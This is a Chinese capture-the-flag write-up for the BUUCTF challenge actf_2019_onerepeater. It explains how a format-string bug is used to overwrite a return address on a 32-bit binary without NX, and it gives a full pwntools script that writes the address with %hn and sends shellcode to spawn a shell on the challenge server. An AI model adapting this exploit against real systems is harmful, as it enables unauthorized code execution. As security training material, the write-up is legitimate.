BUU-actf_2019_onerepeater-WP

Posted on Nov 28, 2020

这是一道简单的格式化字符串和ret2shellcode的题目。

没开nx基本上是shellcode了。

我们就可以知道,程序直接输出了栈地址,还有一个格式化字符串漏洞可以实现任意地址覆写,解决了由于buf大小0x408,我们只能read0x400个字节无法进行栈溢出的问题,但是可以通过格式化字符串来修改ret的地址。然后我们还要注意一下在return前的puts,

它为了输出一段字符串,将esp加了0x10,所以最后ret时的栈地址是泄露的stack_addr + 0x408 + 0x10 + 4,然后我们就可以写出payload了。

from pwn import *                                                                 
                                                                                  
context(log_level = 'debug',arch = 'i386',os = 'linux')                           
                                                                                  
#sh = process("./ACTF_2019_OneRepeater")                                          
sh = remote("node3.buuoj.cn","26621")                                             
                                                                                  
sh.sendlineafter("3) Exit\n","1")                                                 
                                                                                  
stack_addr = int((sh.recv()[0:8]),base = 16)                                      
print hex(stack_addr)                                                             
                                                                                  
sh.sendline("break")                                                              
ret_addr = stack_addr + 0x418 + 4                                                 
                                                                                  
payload = p32(ret_addr) + '%' + str(stack_addr % 65536 - 4) + 'c' + "%16$hn"      
sh.sendlineafter("3) Exit\n","1")                                                 
sh.sendline(payload)                                                              
sh.sendlineafter("3) Exit\n","2")                                                 
                                                                                  
payload = p32(ret_addr + 2) + '%' + str(stack_addr // 65536 - 4) + 'c' + "%16$hn" 
sh.sendlineafter("3) Exit\n","1")                                                 
sh.sendline(payload)                                                              
sh.sendlineafter("3) Exit\n","2")                                                 
                                                                                  
sh.sendlineafter("3) Exit\n","1")                                                 
sh.sendline(asm(shellcraft.sh()))                                                 
sh.sendlineafter("3) Exit\n","3")                                                 
                                                                                  
sh.interactive()                                                                  

这道题主要是要注意一下最后rsp的改变。由于没注意到这点,也让我迷惑了很久,只能说还是要认真观察。